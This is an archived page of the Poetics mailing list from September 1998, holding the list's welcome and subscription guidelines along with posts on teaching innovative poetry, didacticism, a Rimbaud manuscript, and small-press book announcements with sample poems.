to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible. **We also encourage subscribers to post information on publications and reading series that they have coordinated, edited, published, or in which they appear (see section 9 below).** (THIS MEANS *YOU*).

Please keep in mind that all posts go out immediately to all subscribers, and become part of an on-line archive. *Posting to Poetics is a form of publication, not personal communication.* Participants are asked to exercise caution before posting messages! While spontaneity of response may seem the very heart of the list at its best, it also has the darker side of circulating ideas that have not been well considered (or considered by another reader -- editor or friend). Given the nature of the medium, subscribers do well to maintain some skepticism when reading the list and, where possible, to try to avoid taking what may be something close to a spontaneous comment made in the heat of exchange as if it were a revised or edited essay ("Let the Reader Beware!").

The "list owner" of Poetics is Charles Bernstein. Joel Kuszai is list manager.
For subscription information contact us at [redacted].

---

2. Subscriptions

Subscriptions to Poetics are free of charge. But we ask that you subscribe with your real name and we reserve the right to request additional information, including address and phone number. All subscription information you supply will remain confidential.

with no subject line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your name to unsub)

We will be sent a notice of all subscription activity. Please allow several days for your new or re-subscription to take effect.

*

If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to send messages to mail. To avoid this, unsub from the old address and resub from the new address. If you can no longer do this there is a solution if you use Eudora (an e-mail program that is available free at shareware sites): from the Tools menu select "Options" and then select set-up for "Sending Mail": you may be able to substitute your old address here and send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

In general, if a Poetics message is bounced from your account, your subscription to Poetics will be temporarily suspended. If this happens, simply resubscribe to the list in the normal manner, once your account problem has been resolved.

All questions about subscriptions, whether about an individual subscription or subscription policy, should be addressed to the list's administrative address: [redacted]. Please note that it may take up to ten days, or more, for us to reply to messages. _____

3. Cautions

Please do not post to the list personal or backchannel correspondence, or other unpublished material, without the express permission of the author. Copyright for all material posted on Poetics remains with the author; material from this list and its archive may not be reproduced without the author's permission, beyond the standard rights accorded by "fair use".

The Poetics List has a 50 message daily limit. If more than 50 messages are received, the listserver will automatically hold those additional messages until the list is manually unlocked, usually the following day. While it is difficult to prescribe a set limit on the number of daily, weekly, or monthly posts for any subscriber, please keep this limit in mind. If you plan to respond to multiple threads, it is generally preferable to consolidate your reply into one message. While relevant excerpts from a post to which you are responding may usefully be appended to your reply, please do not include in your new post the whole text of a long previously posted message. As an outside maximum, the listserv is set to accept no more than 5 messages a day from any one subscriber.

Please do not send attachments or include extremely long documents in a post, since this may make it difficult for those who get the list via "digest" or who cannot decode attached or specially formatted files.

In addition to being archived at the EPC, some posts to Poetics (especially reviews, obituary notices, announcements, etc.) may also become part of specific EPC subject areas. Brief reviews of poetry events and publications are always welcome. (See section 7.)

Please do not send inquiries to the list to get an individual subscribers address. To get this information, see section 6.

If you want someone to send out information to the list as a whole, or supply information missing from an post, or thank someone for posting something you requested, please send the request or comment to the individual backchannel, not to the whole list.

---

4. Digest Option

The Listserve program gives you he option to receive all the posted Poetics message each day as a single message. If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option. Send this one-line message (no subject line) to

[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply to this message!!

You can switch back to individual messages by sending this message:

set poetics mail

---

5. Temporarily turning off Poetics mail

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail. You can temporarily turn off your Poetics subscription by sending a message to "[redacted]"

set poetics nomail

& turn it on again with: set poetics mail

When you return you can check or download missed postings from the Poetics archive. (See 8 below.)

---

6. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to message blank. In the body of your e-mail message type:

review poetics

You will be sent within a reasonable amount of time (by return e-mail) a rather long list containing the names and e-mail addresses of Poetics subscribers. This list is alphabetized by server not name.

or try:

review POETICS by name review POETICS by country

which will give you the list alphabetically by name or a flawed list by country
(since all ".com" and ".net"s are counted as US)

Please do not send a message to the list asking for the address of a specific subscriber.

---

7. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to the burgeoning number of electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequeño Glazier.

---

8. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the links to Poetics Archives. You may browse the archives by month and year or search

them for specific information. Your interface will allow you to print or download any of these files.

Or set your browser to go directly to:
http://writing.upenn.edu/epc/poetics/archive

---

9. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If your word processor will save files in Rich Text Format (.rtf) this is also highly desirable

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short announcements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME

↑ Index

643. **MAXINE CHERNOFF**
Re: st. marks experiment book.
Mon 28 Sep 1998

Check with Teachers and Writers in NY. They have a wealth of interesting writing experiment books-- new ones all the time.

Maxine Chernoff

On Mon, 28 Sep 1998, Roger Farr wrote:

> *I'm not aware of this book, but if it turns up, please let me know!*
>
> *RR*
>
> *i've heard rumor of a book that came from writing experiments done at st. marks some time ago. the way the book was described was that it gave descriptions of the experiments as well as the results. i also thought the book was editied by bernadette mayer, but i can't verify that either. does anyone know of such a book?*
>
> *i have found one edited by anne waldman titled "out of this world:", but i'm still waiting for that one to come through the interlibrary loan.*
>
> *thanks,*
> *eryque*

↑ Index

644. **MAXINE CHERNOFF**

Re: teaching poetry

Mon 28 Sep 1998

Believe it or not, innovative practice can be included side-by-side with the more traditional syllabus as long as you're able to stretch definitions. Maybe the traditional syllabus says, for example, autobiography or uses of the personal. Maybe "Daddy" by Plath is there. Why not juxtapose it with sections of "My Life" by Hejinian? Students then can see the range of what personal can mean.

Maxine Chernoff

On Mon, 28 Sep 1998, Kathy Lou Schultz wrote:

> *One of the greatest successes I've had as far as an individual text goes is teaching _Dictee_ by Theresa Hak Kyung Cha. Ways into this from VendlerLand? Start charting out the relationship of poetry/poetics/poets to the visual arts. New York School--obvious--canonical choices there. Then provide a contemporary example such as Cha who was also a filmmaker and visual artist. There's also a lot that can be done in terms of examining what a "personal narrative" what encompass--always a favorite of self-obsessed undergrads, Harvard or otherwise.*
>
> *My advice: Don't think in terms oppositions (good/bad, canonical/noncanonical) but instead provide examples around the map that illustrate different ways of thinking and composing. And just think, you*

> *have the opportunity to teach students how to read poetry. Most college English majors don't know how to read the stuff, but a great teacher can open that door. Have fun!*
>
> *Kathy Lou Schultz*

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645. **Sylvester Pollet**

Re: FWD help to find data on concrete poem

Mon 28 Sep 1998

Maybe Czech? Ladislav Novak has some along those lines, one called individualista (in Solt, Concrete Poetry: A World view, 139) Or Josef Hirsal and Bohumila Grogerova, Czechs, same, 144-5? Evidently the Novak poems come from a book called Pocta Jacksonu Pollockovi, 1966. Now that's cool! good luck with the search, Sylvester Pollet

At 6:44 PM +0000 9/28/98, Alaric Sumner wrote:
>FWD message
>
>>To: syndicate <[redacted]>
>>Subject: Syndicate: Please help me find the author of one poem
>>Sender: [redacted]
>>Precedence: bulk
>>
>>Dear Syndicalist
>>
>>
>>Please help me find the data of one poem. Poem is
>>visual/concrete.
>>
>>It was made probably some 20-25 years ago.
>>It's author is probably from Poland, but I not sure about
>>this, but I'm sure that
>>author is from one of the ex-communist countries.
>>
>>Poem is something like that (last time I so it was 10 years
>>ago - and I can't remember any more precise data):
>>
>>aaaaaaaaaaaaaaaaaa
>>aaaaaaaaaaaaaaaaaa
>>aaaaaaaaaaaaaaaaaa

>>aaaaaaaaaaaaaaaaaa
>>aaaaaaaaaaaaaaaaaa
>>aaaaa g aaaaaaaaaa
>>aaaaaaaaaaaaaaaaaa
>>aaaaaaaaaaaaaaaaaa
>>
>>I think that title was: individual
>>
>>
>>
>>Yesterday I spent almost whole day in the libraries but
>>didn't find anything.
>>
>>I would really appreciate any data about it (author, in
>>which book or anthology was published, e-mail of the author,
>>title, ... anything).
>>
>>If you have any data please e-mail it to me:
>>Jaka Zeleznikar <[redacted]>
>>mailto:[redacted]
>>
>>Thank you.
>>
>>Best regards
>>Jaka
>>
>>
>>--
>>----------
>>Jaka Zeleznikar
>>http://www.kiss.uni-lj.si/~k4ff0047
>>
>>interactive poetry
>>INTERAKTIVALIJA/INTERACTIVALIA
>>http://www.kiss.uni-lj.si/~k4ff0047/int/int.htm
>>

↑ Index

646. Hank Lazer
Re: teaching poetry
Mon 28 Sep 1998

Or, as an assignment/project, give the students a list of alternative anthologies, and ask them to write about the different assumptions that govern Vendler vs. the other anthology. Or, have them write about the different standards for "good" poetry in the two anthologies.

I've had pretty good luck in contemporary poetry classes with having the students read two different anthologies. Sometimes, they end up doing a final project which involves selecting and introducing an anthology of their own making.

You might also create other assignments that take them to perspectives outside Vendler: have them go to the Electronic Poetry Center and browse various magazines and author sites. They might even read Hejinian, Bernstein, Creeley, S. Howe--and they could still retain brand loyalty (Harvard), but discover different possible Harvards? Or, they might listen to Cage's Norton Lectures (at Harvard) and ask what is the relationship of his poetics to Vendler's? I suspect that some of the antagonism and confusion you've experienced in prior classes will be inevitable if and as you challenge what Vendler has created as the "best" of poetry. Perhaps the place to begin is with the process of judgment?

Hank Lazer

↑ Index

647. Alaric Sumner
FWD help to find data on concrete poem
Mon 28 Sep 1998

FWD message

> *To: syndicate <[redacted]>*
> *Subject: Syndicate: Please help me find the author of one poem*
> *Sender: [redacted]*
> *Precedence: bulk*
>
> *Dear Syndicalist*
>
> *Please help me find the data of one poem. Poem is visual/concrete.*
>
> *It was made probably some 20-25 years ago.*
> *It's author is probably from Poland, but I not sure about*

this, but I'm sure that
author is from one of the ex-communist countries.

Poem is something like that (last time I so it was 10 years
ago - and I can't remember any more precise data):

aaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaa
aaaaa g aaaaaaaaaa
aaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaa

I think that title was: individual

Yesterday I spent almost whole day in the libraries but
didn't find anything.

I would really appreciate any data about it (author, in
which book or anthology was published, e-mail of the author,
title, ... anything).

If you have any data please e-mail it to me:
Jaka Zeleznikar <[redacted]*>*
mailto:[redacted]

Thank you.

Best regards
Jaka

--

Jaka Zeleznikar
http://www.kiss.uni-lj.si/~k4ff0047

interactive poetry
INTERAKTIVALIJA/INTERACTIVALIA
http://www.kiss.uni-lj.si/~k4ff0047/int/int.htm

↑ Index

648. **Pierre Joris**
Re: [Fwd: Une saison en enfer]
Mon 28 Sep 1998

This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to [redacted] for more info.

yeap, it's true, Gwyn, the Rimbaud ms. supposedly does exist & is going under the hammer. read it in LIBEWRATION a couple days ago.

Pierre
On Sun, 27 Sep
1998, Gwyn McVay wrote:

> *Date: Sun, 27 Sep 1998 12:31:48 +0000*
> *From: Gwyn McVay <[redacted]>*
> *To: [redacted]*
> *Subject: [Fwd: Une saison en enfer]*
>
> *Anyone have confirmation on this?*
>
> *Gaetan Jeaurond wrote:*
>
> > *I'm trying to track down a story which appeared*
> > *in Le Monde yesterday.*
> >
> > *It concerns a 97-year old bibliophile, Jacques Guerin,*
> > *who has decided to put up for sale the manuscript of*
> > *Rimbaud's _Une saison en enfer_. He had it all these*
> > *years, keeping it jealously to and for himself, showing*
> > *it to no one. The manuscript was believed, up until now,*
> > *lost forever.*
>
> *gj*
>
> *--*
> *In The Company Of Fine Books*
> *Suite 234, 2183 Ogilvie Road*
> *Gloucester, Ontario K1J 1C8*
> *Tel.: [redacted]; Fax: [redacted]*

========== Pierre Joris | "Poetic knowledge...is the knowledge of finitude, Dept. of English | of words and things that happen once and SUNY Albany | once only, measurable but not repeatable, the Albany NY 12222 | intuitions of _nonstatistical_

probabilities tel&fax:[redacted] | that are _creative_, not merely re-creative
email: | (or recreational)." -- Don Byrd [redacted]|
==========

Content-Description:

by osf1.gmu.edu (8.8.8/8.8.8) with ESMTP id MAA30042
for <[redacted]>; Fri, 25 Sep 1998 12:31:33 -0400 (EDT)
by sp2n17.missouri.edu (8.9.0/8.9.0) with SMTP id LAA22182;
Fri, 25 Sep 1998 11:31:31 -0500
by sp2n17.missouri.edu (8.9.0/8.9.0) with ESMTP id LAA83426
for <[redacted]>; Fri, 25 Sep 1998 11:31:05 -0500
by freenet.carleton.ca (8.8.8/8.8.8/NCF_f1_v3.00) with ESMTP id MAA23569
for <[redacted]>; Fri, 25 Sep 1998 12:30:56 -0400 (EDT)
Date: Fri, 25 Sep 1998 12:30:58 -0400 (EDT)
From: [redacted] (Gaetan Jeaurond)
To: [redacted]
Subject: Une saison en enfer

I'm trying to track down a story which appeared
in Le Monde yesterday.

It concerns a 97-year old bibliophile, Jacques Guerin,
who has decided to put up for sale the manuscript of
Rimbaud's _Une saison en enfer_. He had it all these
years, keeping it jealously to and for himself, showing
it to no one. The manuscript was believed, up until now,
lost forever.

gj

--
In The Company Of Fine Books
Suite 234, 2183 Ogilvie Road
Gloucester, Ontario K1J 1C8
Tel.: [redacted]; Fax: [redacted]

----------CF7E2585F108BBDD045C8A3A--

↑ Index

649. **Tosh**

Re: Evguenie Sokolov by Serge Gainsbourg

Mon 28 Sep 1998

Evguenie Sokolov by Serge Gainsbourg (1928-1991)
ISBN 0-9662346-1-8 Library of Congress Catalog Card Number: 97-80957
Translated from the French by John and Doreen Weightman

This is the one and only novel by the 20th century provocateur of French pop music and film - the legendary Serge Gainsbourg . This prototype lusty punk tore into the threads of French society with his numerous films, music projects, and outlandish persona. He made recordings with Brigitte Bardot, Jane Birkin and a scandalous recording of "Lemon Incest" with his own daughter Charlotte. If that wasn't bad enough, he told Whitney Houston live on French TV that he would love 'to fuck' her.

Evguenie Sokolov is a novel about an artist who uses his intestinal gases as the medium for his scandalous artwork. What once was a huge smelly and noisy problem in his social and sex life becomes a tool for success in the early eighties art world. Please note that there is also a song by Gainsbourg called Evguenie Sokolov of farting noises over a reggae track.

Some quotes about Gainsbourg and the novel:

"Gainsbourg is both the best and the worst, yin and yang, white and black. This Jewish little Prince from Russia whose dreams were probably fueled by Andersen, Perrault and Grimm, became, when confronted by the tragic reality of life, a moving or repugnant Quasimodo, depending on his and your state of mind. Hidden deep within this fragile, shy and aggressive man lies the soul of a poet craving tenderness, truth and integrity." Brigitte Bardot

"Serge Gainsbourg is one of the world's great eccentrics. His kinky obsessions, smothering fashion with tastelessness have catapulted him into super stardom in France.

This is his only novel and you have never read anything like it Evgueine Sokolov will make you squirm. It will make you laugh. It also may very well make you sick. Gainsbourg's vision is his own: authentic and convulsive. But don't forget to hold your nose." John Zorn

Gainsbourg takes one childish, cheap and tasteless one-joke idea and manages to keep it entertaining enough to last for a whole book. he has an envious command of adjectives and adverbs." Mark Webber, Pulp

For those who are interested, this book can be special ordered thru Amazon and Barnes & Noble website as well as thru your local independent bookstore.

Thanks,

Tosh Berman
TamTam Books

↑ Index

650. **Billy Little**
Re: teaching poetry
Mon 28 Sep 1998

---

give them some URLs for Perloff essays, she's an antidote

billy little
4 song st.
nowhere, b.c. V0R1Z0

Go ahead and say something true
before the big turd eats You
You can say any last thing in Your poem.

-Alice Notley

↑ Index

651. **louis stroffolino**
Re: Levistky--O'Connor
Mon 28 Sep 1998

Went to a reading yesterday in Brooklyn, hosted by Prageeta Sharma, of the two aforementioned writers---and found both of them worth listening to, but in lieu of a reading report (I'm one of those people who usually needs to "see it on the page" first), I wanted to bring up a point concerning DIDACTICISM in poetry that was raised by Kyle Connor (Oh, shit, scratch---the "O'connor" from the title line).... He read these poems that he (defensively?) called "didactic" and people in the audience (well, some) were "rolling their eyes" in smug(?) disapproval as he read them, even with his disclaimer. Now, I wonder WHY is DIDACTICISM a TABOO in much "avant-garde?" I don't think it's just Kyle's particular poems that was being reacted to, though perhaps the dry declamatory mode in which he read them did have something to do with the eye-rolling? But even if he had read them (performed them) differently, maybe there still would have been much of the same dismissal. It's a question Im curious about, and maybe the emphasis on "poetry readings" (particularly on "coterie poetry readings" in which most of the audience is going to be considered the "converted" (or the "choir") one "preaches" to) over poetry on the page has something to do with the taboo. I

mean that reading the work at home--in "solitude"--it may not come off as negatively didactic as it would in the "levelling" crowd. Nor do I want to say that Connor should simply go to the Nuyorican or other slam-venues where didacticism is more appreciated, because even there I find style eclipses substance. Well, curious what anybody might think of these and related issues..... more later, chris

↑ Index

652. **james perez**
not for general consumption
Mon 28 Sep 1998

---

sorry this isn't so poetics-relevant, just a note for Chris Stroffolino (I believe he is out there somewhere)...

just heard that you contributed some keys to d.berman's latest effort, just wondering if you could back channel a note on how it went and when we dan expect to hear it out here in the world

semi-related, any idea when that open city book of his is to appear (has it already?)

j.perez

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

653. **David Baratier**
New Title
Mon 28 Sep 1998

Pavement Saw Press is taking pre-publication orders for Naton Leslie's
Their Shadows are Dark Daughters which will be done in a fine press
edition of 500 copies. 32 pages. The price to order it now for US
residents is $5.00 in US currency checks payable to
Pavement Saw Press
7 James Street
Scotia, NY 12302
Add $1 for Canada & $2.50 for other countries.

These pieces are a serial poem. The example below may or may not give any notion about the title, with the exception that all of the pieces are stone sonatas to various degrees.

"These Antiquities are so exceedingly old that no Bookes doe reach them, so there is no Way to retrive them but by comparative antiquitie, which I have writt upon the spott, from the Monuments themselves." —John Aubrey (1626?1697)

Callanish Stone Circle

Isle of Lewis, Scotland

On this island, a sea?sliver
The Macleods, our name later,
Would prize as defensible,

We don't have a name except Picts,
The peoples, and it is enough
We can stand stones on point.

When cut these fell out
In slender daggers tipped at
An incising angle. Sandstone

Can gleam as gold, hold pockets
Of quartz, though we have no
Word for that but clear and

Sharp and careful as that would
Split away to its own mind.
She came to see our standing stones

And told me that our members have
Been turned, in her, in our minds,
And then she laughed, said all

This work pointed out what
We needed, the straight line thrust
Into nowhere. That woman knows

Too much our chief says and I
Agreed, but I like her way
Of running spirals in the places

Of our love. But you must see
Our stones on the coast, dozens
In clear, concupiscent blue

Of late autumns we have here,
Engorged in the condensed light
Of those short days, their shadows

Are dark daughters.

Release date 11/6/98. Products are available through the publisher or through:

Small Press Distribution / 1341 Seventh St. / Berkeley, CA 94710 / [redacted]

after November 21st..

Be well

David Baratier

↑ Index

654. Tom Beard
Re: Levistky--Connor & didacticism
Mon 28 Sep 1998

Well, I can't speak for the (rest of the) 'avant-garde', but I'm wary of didacticism in poetry for a number of reasons.

- Primarily, it's because didacticism implies to me that the author has it all worked out, and that he or she is going to tell us how to think. It leaves no room for dialogue or ambiguity.

- Wouldn't a didactic poem require a unified voice and a pre-determined meaning? This is unlikely to appeal to langpos.

- While I can see that didacticism has its place, I think that it belongs in textbooks and editorials. Technical & rhetorical prose tries to edge language towards precision and logic, which is not a bad thing in itself. But poetry seems a better medium for doubt, internal debate, contradiction, openness, ambivalence, elusiveness and just plain nuttiness.

Which is not to say, of course, that poems can't cover the ground normally covered by essays or manifestos. I just prefer it when the poem is itself a process of discovery and argument, not the end result.

Tom Beard.

↑ Index

655. Jacques Debrot
Re: thanks
Mon 28 Sep 1998

Thank you, everyone who got back to me, for your terrific sugestions; can't wait to put them to use.

j

↑ Index

656. **s. kaipa**
Re: Evguenie Sokolov by Serge Gainsbourg
Mon 28 Sep 1998

Out of curiosity (and other things)--

When did Serge write this book? Sounds utterly fascinating.

Summi

On Mon, 28 Sep 1998, Tosh wrote:

> *Evguenie Sokolov by Serge Gainsbourg (1928-1991)*
> *ISBN 0-9662346-1-8 Library of Congress Catalog Card Number: 97-80957*
> *Translated from the French by John and Doreen Weightman*
>
> *This is the one and only novel by the 20th century provocateur of French pop music and film - the legendary Serge Gainsbourg . This prototype lusty punk tore into the threads of French society with his numerous films, music projects, and outlandish persona. He made recordings with Brigitte Bardot, Jane Birkin and a scandalous recording of "Lemon Incest" with his own daughter Charlotte. If that wasn't bad enough, he told Whitney Houston live on French TV that he would love 'to fuck' her.*
>
> *Evguenie Sokolov is a novel about an artist who uses his intestinal gases as the medium for his scandalous artwork. What once was a huge smelly and noisy problem in his social and sex life becomes a tool for success in the early eighties art world. Please note that there is also a song by Gainsbourg called Evguenie Sokolov of farting noises over a reggae track.*
>
> *Some quotes about Gainsbourg and the novel:*
>
> *"Gainsbourg is both the best and the worst, yin and yang, white and black. This Jewish little Prince from Russia whose dreams were probably fueled by Andersen, Perrault and Grimm, became, when confronted by the tragic reality of life, a moving or repugnant Quasimodo, depending on his and your state of mind. Hidden deep within this fragile, shy and aggressive man lies the soul of a poet craving tenderness, truth and integrity." Brigitte Bardot*
>
> *"Serge Gainsbourg is one of the world's great eccentrics. His kinky obsessions, smothering fashion with tastelessness have catapulted him into super stardom in France.*
>
> *This is his only novel and you have never read anything like it Evgueine*

> *Sokolov will make you squirm. It will make you laugh. It also may very well make you sick. Gainsbourg's vision is his own: authentic and convulsive. But don't forget to hold your nose." John Zorn*
>
> *Gainsbourg takes one childish, cheap and tasteless one-joke idea and manages to keep it entertaining enough to last for a whole book. he has an envious command of adjectives and adverbs." Mark Webber, Pulp*
>
> *For those who are interested, this book can be special ordered thru Amazon and Barnes & Noble website as well as thru your local independent bookstore.*
>
> *Thanks,*
>
> *----------*
> *Tosh Berman*
> *TamTam Books*
> *----------*

↑ Index

657. **Tosh**

Re: Evguenie Sokolov by Serge Gainsbourg

Mon 28 Sep 1998

> *Out of curiosity (and other things)--*
>
> *When did Serge write this book? Sounds utterly fascinating.*
>
> *Summi*
>
> *Gainsbourg wrote the novel in the early 80's. It sort of makes fun of the art world ... as well as everything & everyone else. In my opinion he was a great artist. totally over looked in the U.S. I should mention that Russell Mael of Sparks wrote the afterword and bart plantenga wrote the introduction. Both of them I feel did a great job in explaining the appreciation for everything that is Gainsbourg*

Tosh Berman
TamTam Books

↑ Index

658. **P.Standard Schaefer**
Epoch/Fiction
Mon 28 Sep 1998

Is it true that there is an upcoming issue of EPOCH devoted to experimental fiction?

I'd be curious to see who all is in that, see if there's any crossover among the poets/fiction writers.

↑ Index

659. **Edward Fristrom**
Re: Levistky--Connor & didacticism
Mon 28 Sep 1998

A very didactic response, no? But then you aren't writing poetry. . .

I'd assume that most people associate didacticism with that vertically imposed clarity of style that is so offensive in some political statements, and people who write--though not just poets--are a little more self-conscious about popping people, things, actions into one classification or another (and that includes didactic vs. non-didactic people, things and actions).

As to whether this is what Stroffolino was posting about. . .I can't say, I wasn't there. For all I know the eye-rolling had more to do with the embarassment that poets would dismissive their own work out of hand, or embarrassment that one should have to apologize for being didactic. . . I could spend a great deal of time arguing over the semantics of a term like "didactic" (Are the Creedos in Conjunction 21 negatively didactic? Is Wole Soyinka? Is Charles Olson? Is there a difference between pedagogical and didactic? If a poem brings us to conclusions through a "process of discovery and argument" are those conclusions less didactic than the conclusions of the rhetorician--or is the poet just a slyer rhetorician?) but it seems to me if poets are apologizing for their didacticism, than why shouldn't we expect the worst? What. . ."I'm sorry about this whole afghanistan business in the middle of this poem. . .it isn't very good. . . but it's got me bummed. Don't worry though, the next one has a real beat."?

↑ Index

660. **Mark DuCharme**
Re: st. marks experiment book.
Mon 28 Sep 1998

---

eryque:

Out of This World is an anthology which Anne edited of writings originally published in _The World_, St. Mark's literary magazine; I think this is about the third such anthology which she has edited.

I don't know of a book that came from writing experiments done at St. Mark's, but it sounds interesting. Are you sure, though, you're not thinking of Bernadette Mayer's list of writing experiments, which was published in _In The American Tree_ & other places?

Mark DuCharme

>i've heard rumor of a book that came from writing experiments done at
st.
>marks some time ago. the way the book was described was that it gave
>descriptions of the experiments as well as the results. i also thought
the
>book was editied by bernadette mayer, but i can't verify that either.
does
>anyone know of such a book?
>
>i have found one edited by anne waldman titled "out of this world:",
but
>i'm still waiting for that one to come through the interlibrary loan.
>
>thanks,
>eryque
>

_____
Get Your Private, Free Email at http://www.hotmail.com

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661. **Catherine Daly**
Re: UK Middle School
Mon 28 Sep 1998

No no experience at all in that. A "sister-in-law" went to middle school there and likes the Goosebumps series very much. She is now in Boston, getting prepped for Vendler, no doubt.

Has this something to do wth the purchase of Manchester United & the performance of Murdoch's Dodgers? Or perhaps the overcast skies of late?

Catherine Daly
[redacted]

↑ Index

662. David Baratier
Above The Human Nerve Domain_ by Will Alexander
Mon 28 Sep 1998

Above The Human Nerve Domain by Will Alexander
is being released by Pavement Saw Press

I am now taking advance orders for the paperback edition
Poetry, 80pp, Perfect bound.

ISBN 1-886350-81-7 Trade Soft-Cover edition. Pre-publication price: $10.00 for individuals in US Add $2 for Canada, $4.50 for points overseas. If you cannot afford this, ask your local library to buy it for you. $12 for paperback upon release. Distributed by Pavement Saw Press, Brodart & SPD.

If you are a library or institution who does not currently receive all of our products on a "as released basis" or are extremely fond of Will's work there is also a limited edition Hardcover being released which will have 50 or less copies made. Backchannel me about this. Homemade & handbound.

ISBN 1-886350-82-5
Hardcover limited edition. $75.00

Please send checks payable to:
Pavement Saw Press
7 James Street
Scotia, NY 12302
Attn: David Baratier

Featuring work from the following periodicals: Sulfur, Orpheus Grid, apex of the M, non, Poetry Project World-Wide Web, The Alterran Poetry Assemblage, and Callaloo.

The domain of poet Will Alexander’s nervy curiosity ranges from the icy Himalayas, to African savannahs, from physics. astronomy, and music, to alchemy, philosophy, and painting. Orishas, angels and ghosts all sing to this poet, instructing him in their art of verbal flight. This is a poet whose lexicon, a “glossary of vertigo,” might be culled from the complete holdings of a reconstituted Alexandrian library endowed for the next millenium. --Harryette Mullen

Will Alexander’s writing is “movement / as dialectical alterity.” In reading Above the Human Nerve Domain, one recognized that what one thinks and one’s corpus are both “subjective exclusivity.” On this “language of disrupted ghosts” thought is corpus, “a body condensed in grace.” --Leslie Scalapino

Will Alexander's dazzling Above the Human Nerve Domain embraces the here and now, the after and the before. Scanning its images, words roll around the mind's cavernous tongue. There is the feeling of being lost in the returned gaze of this quantum diorama, here primary and human, here blended apart from itself. But upon second seeing confusion seems to evaporate and the gaze of the diorama seems simultaneous with our own. The inner and outer don't cease to exist but are given equal footing to comment on one another "in which mnemonic trance / co-intuits" as we're reading this writer "with active double eurekas." --Diane Ward

This glorious set of whirling prosodic proofs exult that a body can be struck by stanzaic facts of light. The reader is dazzled by expanding forms of predictory anaphora arriving as an "intstantaneous beam." The author of Vertical Rainbow Climber, Arcane Lavender Morals, Asia & Haiti, and The Stratospheric Canticles has done it again with strobic precision. --Norma Cole

Title will be released November 24th.

Pavement Saw Press is a not for profit organization, any donations are greatly appreciated and are considered as charitable tax donations under section 501(c) of the federal tax code.

Thanks for keeping us open & healthy--
Be well

David Baratier

↑ Index

663. David Baratier
Right Livelihood
Mon 28 Sep 1998

This title is now in. It arrived 9/22. There are under 50 copies left. It will sell out.

Right Livelihood by David Brooks

De Gustibus

What if eros resided in the
stomach instead of the loins?
Imagine that first freudian
shock when the child wanders
into the room and there's
mommy and daddy— eating steak!
Think of the nervousness

of teenagers having first soup,
think of pizza in the back seat
on Saturday night!

The whole business of dinner would
be taboo: subjects like how much
is it normal to eat at one time
or what if your dinner partner
doesn't seem satisfied suppressed
for centuries, until the invention
of the talk show. There would be
a whole pornography based on food,
right down to the stupid letters in Penthouse :
"I came home and there was
Bernice eating buffalo wings
with a stranger on my living room floor.
I got so excited I pulled out a bag
of pretzels and ate them all myself!"

Think of the unhappiness of confining
food to marriage, when deep down
we all know someone we wouldn't mind
having a snack with. How lewd now
seems the business lunch,
the honorary banquet! And what
about those who sneak a little grub
on the side? We'd punish a woman for
eating around, but a man's gotta eat when
a man's gotta eat, you see.

After all we are better off with
the grief from our groins than living
in a world of anorexic saints, fearing
the premature desert. Too sad
to think of all those 900 numbers—
you call someone up and they make it
sound like its Thanksgiving dinner,
but if you knew the truth, it's someone
who could care less about food,
someone who couldn't tell
fois gras from Peter Pan.

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Send checks payable to:
Pavement Saw Press
7 James Street
Scotia, NY 12302

Right Livelihood was selected by Jim Daniels
as the 1997-98 winner of Pavement Saw Press Chapbook Award.

In case I run out of copies, or it's more convenient for you, this title is also carried by:

SPD / 1341 Seventh Street / Berkeley, CA 94710/ .[redacted]

until they run out.

Be well

David Baratier

↑ Index

664. **Tom Beard**
Re: Levistky--Connor & didacticism
Mon 28 Sep 1998

> *A very didactic response, no? But then you aren't writing poetry. . .*

Exactly.

